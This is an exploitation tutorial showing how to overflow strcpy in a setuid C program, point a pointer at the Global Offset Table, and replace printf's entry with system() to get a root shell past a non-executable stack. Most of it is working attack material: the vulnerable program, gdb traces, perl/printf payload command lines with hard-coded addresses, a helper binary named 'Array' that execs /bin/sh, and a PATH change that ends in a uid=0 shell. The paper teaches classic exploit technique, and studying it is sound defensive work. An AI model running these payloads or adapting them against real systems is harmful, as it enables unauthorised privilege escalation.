How to hijack the Global Offset Table with pointers for root shells

by c0ntex | c0ntexb[at]gmail.com
www.open-security.org

This short paper will discuss the method of overwriting a pointer that is used in a function, to overwrite the associated entry in the Global Offset Table, allowing us to redirect the execution flow of a program.

This method is useful when one is unable to modify the address pointed to by EIP with a shellcode address, in situations where there is stack protection of some kind. Rather than overwrite the next instruction with the address of our shellcode, we will patch the functions GOT reference with a function that we can utilize to run system commands.

So what is the Global offset Table (GOT)?

The Global Offset Table redirects position independent address calculations to an absolute location and is located in the .got section of an ELF executable or shared object. It stores the final (absolute) location of a function calls symbol, used in dynamically linked code. When a program requests to use printf() for instance, after the rtld locates the symbol, the location is then relocated in the GOT and allows for the executable via the Procedure Linkage Table, to directly access the symbols location.

Anyway, on running our code below, printf()'s usage looks something like this:

```
main
printf("something like %s\n", this)
...
Location 1: call 0x80482b0 <printf>   (PLT)
Location 2: jmp *0x8049550            (GOT)
...
exit
```

These locations can be verified by viewing objdump's output:

```
08048290 l    d  .plt 00000000          <---- .plt from 08048290 - 080482e0
080482e0 l    d  .text00000000
08049540 l    d  .got 00000000          <---- .got from 08049540 - 08049560
08049560 l    d  .bss 00000000
```

So a quick diagram of what happens looks kind'a like this :p

```
[printf()] <-------------------------------
  |                                |
  --------------> [PLT]--->[d_r_resolve]--|
          |          |        |
               ------------------->[GOT]<--
                         |            |
                         ------->[libc]--
```

By following some of the function resolution and execution in GDB, one can see what happens:

```
(gdb) disas printf
Dump of assembler code for function printf:
0x80482b0 <printf>: jmp    *0x8049550                      <--- Here
```

At this point we are in the Procedure Linkage Table (PLT) which works along side the GOT to reference and relocate function resolution as needed. The PLT reference will perform a jmp in to the GOT and find the location of the called function. However, at the start of our program, when a function is on it's first call there will be no entry in the GOT, so the PLT will hand the request to the rtld so it can resolve the functions absolute location. The GOT is then updated for future use.

```
0x80482b6 <printf+6>: push   $0x8
0x80482bb <printf+11>:  jmp    0x8048290 <_init+24>                        <--- Here
```

The stack is set up for resolving the function, next 00x8 is pushed to the stack and jmp to _init+24 is performed, which then calls _dl_runtime_resolve.

```
(gdb) disas 0x8048290
Dump of assembler code for function _init:
0x8048278 <_init>: push   %ebp
0x8048279 <_init+1>: mov    %esp,%ebp
0x804827b <_init+3>: sub    $0x8,%esp
0x804827e <_init+6>: call   0x8048304 <call_gmon_start>
0x8048283 <_init+11>: nop
0x8048284 <_init+12>: call   0x8048364 <frame_dummy>
0x8048289 <_init+17>: call   0x80483fc <__do_global_ctors_aux>
0x804828e <_init+22>: leave
0x804828f <_init+23>: ret
0x8048290 <_init+24>: pushl  0x8049544                                  <--- Here
0x8048296 <_init+30>: jmp    *0x8049548
0x804829c <_init+36>: add    %al,(%eax)
0x804829e <_init+38>: add    %al,(%eax)
```

_dl_runtime_resolve finds the function information in the library after some associated magic, which is beyond the scope of this document.... :ppPp

```
(gdb) disas *0x8049548
Dump of assembler code for function _dl_runtime_resolve:
0x4000a180 <_dl_runtime_resolve>: push   %eax
0x4000a181 <_dl_runtime_resolve+1>:  push   %ecx
0x4000a182 <_dl_runtime_resolve+2>:  push   %edx
0x4000a183 <_dl_runtime_resolve+3>:  mov    0x10(%esp,1),%edx
0x4000a187 <_dl_runtime_resolve+7>:  mov    0xc(%esp,1),%eax
0x4000a18b <_dl_runtime_resolve+11>: call   0x40009f10 <fixup><--- Magic starts
0x4000a190 <_dl_runtime_resolve+16>: pop    %edx
0x4000a191 <_dl_runtime_resolve+17>: pop    %ecx
0x4000a192 <_dl_runtime_resolve+18>: xchg   %eax,(%esp,1)
0x4000a195 <_dl_runtime_resolve+21>: ret    $0x8
0x4000a198 <_dl_runtime_resolve+24>: nop
0x4000a199 <_dl_runtime_resolve+25>: lea    0x0(%esi,1),%esi
End of assembler dump.(gdb)
```

The GOT is then updated accordingly with the correct entry, the functions symbol and name can then be directly accessed by our program.

It is possible to see these references to the GOT in code when compiled with -fpic option:

The .c source:

```
int main()
{
        puts("Hello");
```

```
        return 0;
}
```

The .s source:

```
... snipped ...
main:
    pushl   %ebp
    movl    %esp, %ebp
    subl    $8, %esp
    andl    $-16, %esp
    movl    $0, %eax
    subl    %eax, %esp
    movl    $.LC0, (%esp)
    call    puts
    movl    $0, %eax
    leave
    ret
        ... snipped ...
```

The .s -fpic source:

```
... snipped ...
main:
    pushl   %ebp
    movl    %esp, %ebp
    pushl   %ebx
    subl    $4, %esp
    call    __i686.get_pc_thunk.bx
    addl    $_GLOBAL_OFFSET_TABLE_, %ebx
    andl    $-16, %esp
    movl    $0, %eax
    subl    %eax, %esp
    leal    .LC0@GOTOFF(%ebx), %eax
    movl    %eax, (%esp)
    call    puts@PLT
    movl    -4(%ebp), %ebx
    leave
    ret
        ... snipped ...
```

There is quite a lot of work that goes on behind the scenes to run a simple puts() or printf() function, and there are more parts than what I have followed here, but alas this is not a guide on function lifespan / the associated fun with dynamic linking, this is an exploitation paper, so on with the fun already!!

For more information on dynamic linking etc, refer to the compiler and ABI documentation for your processor.

Time for the attack!

The exploit here is a trivial example, we overflow strcpy(), hijack a reference in the GOT and execute a libc function we supply, you could call this method return-to-got.

We will then modify the GOT address of printf() and replace it with system(), allowing us to execute /bin/sh and spawn a shell. Since the stack is marked as non-executable, it is not possible to execute shellcode on the stack, so we use this method to hijack the application and gain control instead.

The vulnerable program:

```
//got.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
        char *pointer = NULL;
        char array[10];

        pointer = array;

        strcpy(pointer, argv[1]);
        printf("Array contains %s at %p\n", pointer, &pointer);
        strcpy(pointer, argv[2]);
        printf("Array contains %s at %p\n", pointer, &pointer);

        return EXIT_SUCCESS;
}
```

```
[c0ntex@darkside got]$ gcc -o got got.c
[c0ntex@darkside got]$ su -c "chmod +s ./got" root
Password:
[c0ntex@darkside got]$ ./got hello hi
Array contains hello at 0xbffffa6c
Array contains hi at 0xbffffa6c
[c0ntex@darkside got]$

[c0ntex@darkside got]$ gdb -q ./got
(gdb) b strcpy
Breakpoint 1 at 0x804829c
(gdb) r hello hi
Starting program: /home/c0ntex/got/got hello hi
Breakpoint 1 at 0x42079da4

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffad4) at got.c:12
12              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/s pointer
0xbffffa60:      "hello"
(gdb) step
Array contains hello at 0xbffffa7c
13              strcpy(pointer, argv[2]);
(gdb) step

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffad4) at got.c:14
14              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/s pointer
```

```
0xbffffa60:      "hi"
(gdb)
```

It is obvious that through each iteration of the printf() call, the arguments passed by the user are stored in to the pointer "pointer" and then displayed.

With a pointer, we can make it "point" as the name suggests, to anything, so let us modify the arguments we provide it and see if we can make it point to some arbitrary location. Obviously we are looking to exploit the application so it might be useful to point it to, as the title of this paper suggests the Global Offset Table. Once we have pointer pointing to a location in the GOT, we will use the second strcpy() to overwrite the content of the GOT address we're pointing at.

Looking at the code, this is what will happen:

1) overflow the buffer to make pointer point at the GOT address of printf() with the first strcpy()

```
        1: strcpy(pointer, argv[1]);

        |--- pointer -> printf(GOT)
```

2) the first printf() works as you would expect, we haven't changed anything yet

```
        2: printf("Array contains %s at %p\n, pointer, &pointer)
```

3) change the address at the GOT entry, pointed to with the second strcpy

```
        3: strcpy(pointer, argv[2]);

        |--- pointer -> system(GOT)
```

4) printf() is now patched and pointing to system(). When called, will execute our cheeky replacement

```
        4: printf("Array contains %s at %p\n....)

        |--- system("Array contains %s at %p\n, pointer, &pointer)
```

5) shell is spawned *we hope* :-)

We need to get a few addresses, first we need the address of printf() that we are going to overwrite. The 2nd printf() is the one that will be hijacked. To find it we use gdb:

```
[c0ntex@darkside got]$ gdb -q ./got
(gdb) disas main
Dump of assembler code for function main:
0x804835c <main>:       push   %ebp
0x804835d <main+1>:     mov    %esp,%ebp
0x804835f <main+3>:     sub    $0x28,%esp
0x8048362 <main+6>:     and    $0xfffffff0,%esp
0x8048365 <main+9>:     mov    $0x0,%eax
0x804836a <main+14>:    sub    %eax,%esp
0x804836c <main+16>:    lea    0xffffffd8(%ebp),%eax
0x804836f <main+19>:    mov    %eax,0xfffffff4(%ebp)
0x8048372 <main+22>:    sub    $0x8,%esp
0x8048375 <main+25>:    mov    0xc(%ebp),%eax
0x8048378 <main+28>:    add    $0x4,%eax
0x804837b <main+31>:    pushl  (%eax)
0x804837d <main+33>:    pushl  0xfffffff4(%ebp)
0x8048380 <main+36>:    call   0x804829c <strcpy>  <--- This is overflown
0x8048385 <main+41>:    add    $0x10,%esp
0x8048388 <main+44>:    sub    $0x4,%esp
0x804838b <main+47>:    lea    0xfffffff4(%ebp),%eax
```

```
0x804838e <main+50>:    push   %eax
0x804838f <main+51>:    pushl  0xfffffff4(%ebp)
0x8048392 <main+54>:    push   $0x8048434
0x8048397 <main+59>:    call   0x804828c <printf>   <--- This is left alone
0x804839c <main+64>:    add    $0x10,%esp
0x804839f <main+67>:    sub    $0x8,%esp
0x80483a2 <main+70>:    mov    0xc(%ebp),%eax
0x80483a5 <main+73>:    add    $0x8,%eax
0x80483a8 <main+76>:    pushl  (%eax)
0x80483aa <main+78>:    pushl  0xfffffff4(%ebp)
0x80483ad <main+81>:    call   0x804829c <strcpy>  <--- This replaces printf() with system()
0x80483b2 <main+86>:    add    $0x10,%esp
0x80483b5 <main+89>:    sub    $0x4,%esp
0x80483b8 <main+92>:    lea    0xfffffff4(%ebp),%eax
0x80483bb <main+95>:    push   %eax
0x80483bc <main+96>:    pushl  0xfffffff4(%ebp)
0x80483bf <main+99>:    push   $0x8048434
0x80483c4 <main+104>:   call   0x804828c <printf>  <--- This is altered and system() is executed
0x80483c9 <main+109>:   add    $0x10,%esp
0x80483cc <main+112>:   mov    $0x0,%eax
0x80483d1 <main+117>:   leave
0x80483d2 <main+118>:   ret
End of assembler dump.

(gdb) x/i 0x804828c
0x804828c <printf>:     jmp    *0x804954c
(gdb) x/i 0x804954c
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:   nop
```

You can also use objdump to dump the dynamic relocations of the binary

```
[c0ntex@darkside got]$ objdump --dynamic-reloc ./got | grep printf
0804954c R_386_JUMP_SLOT    printf
[c0ntex@darkside got]$
```

Now we have the GOT address we want to modify, we will replace this with system(), let.s find that:

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x42041e50 <system>
(gdb) q
```

We have the addresses we want to use. Again, the steps we will take are now as follows:

1) copy 0x804954c to pointer
2) write 0x42041e50 over what pointer points to with the second strcpy
3) spawn shell!

Following in GDB we can see how this works

```
(gdb) r `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"` hello
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/c0ntex/got/got `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"` hello
```

```
Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffab4) at got.c:12
12              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:   0x08048292
(gdb) step
Array contains #B
                13              strcpy(pointer, argv[2]);
(gdb) step

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffab4) at got.c:14
14              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:   0x6c6c6568
(gdb) x/s pointer
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:    "hello"
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6c6c6568 in ?? ()
(gdb)
```

It is obvious that printf() has now been modified with the second argument we supplied, "hello". Obviously we don't want to be civil here, so we switch "hello" with the address of system(), and we should be in business.

Let.s try it...

```
(gdb) r `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"` `printf "\x50\x1e\x04\x42"`
Starting program: /home/c0ntex/got/got `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"`
 `printf "\x50\x1e\x04\x42"`

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffab4) at got.c:12
12              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:   0x08048292
(gdb) c
Continuing.
Array contains #B

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.so.6
PuTTY(gdb) step
Single stepping until exit from function strcpy,
which has no line number information.
main (argc=3, argv=0xbffffab4) at got.c:14
```

```
14              printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer
0x804954c <_GLOBAL_OFFSET_TABLE_+16>:   0x42041e50
(gdb) x/i 0x42041e50
0x42041e50 <system>:    push   %ebp
(gdb) c
Continuing.
sh: line 1: Array: command not found

Program exited normally.
(gdb)
```

Bingo! we patched the address of printf() to run system instead, lets view from the command line and compare what is happening:

```
[c0ntex@darkside got]$I ./got hello hi
Array contains hello at 0xbffffa6c
Array contains hi at 0xbffffa6c
[c0ntex@darkside got]$ ./got `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"` `printf "\x50\x1e\x04\x42"`
Array contains #B
                sh: line 1: Array: command not found
[c0ntex@darkside got]$
```

:-) system has tried to run, but found the string in the printf statement "Array contains %s at %p" and tried to execute it, since Array is not a valid command *yet*, it bails there. So let.s just create a command in the current directory called Array which executes /bin/sh and see what happens:

```
//Array.c
int main()
{
       system("/bin/sh");
}
[c0ntex@darkside got]$ gcc -o Array Array.c
[c0ntex@darkside got]$ ./Array
sh-2.05b$ exit
exit
[c0ntex@darkside got]$ export PATH=:.:$PATH
[c0ntex@darkside got]$
```

Perfect, now test it out and pray for our shell!!

```
[c0ntex@darkside got]$ ./got `perl -e 'print "A" x 28'``printf "\x4c\x95\x04\x08"` `printf "\x50\x1e\x04\x42"`
Array contains #B
sh-2.05b# id -a
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05b#
```

That's what I'm talking about, it worked a treat!! We now have another method to successfully bypass the non-executable stack.

Looking to grow your skill in developing exploits and finding bugs?
visit Project Mantis at http://mantis.pulltheplug.org

Regards to all PullThePlug people.

EOF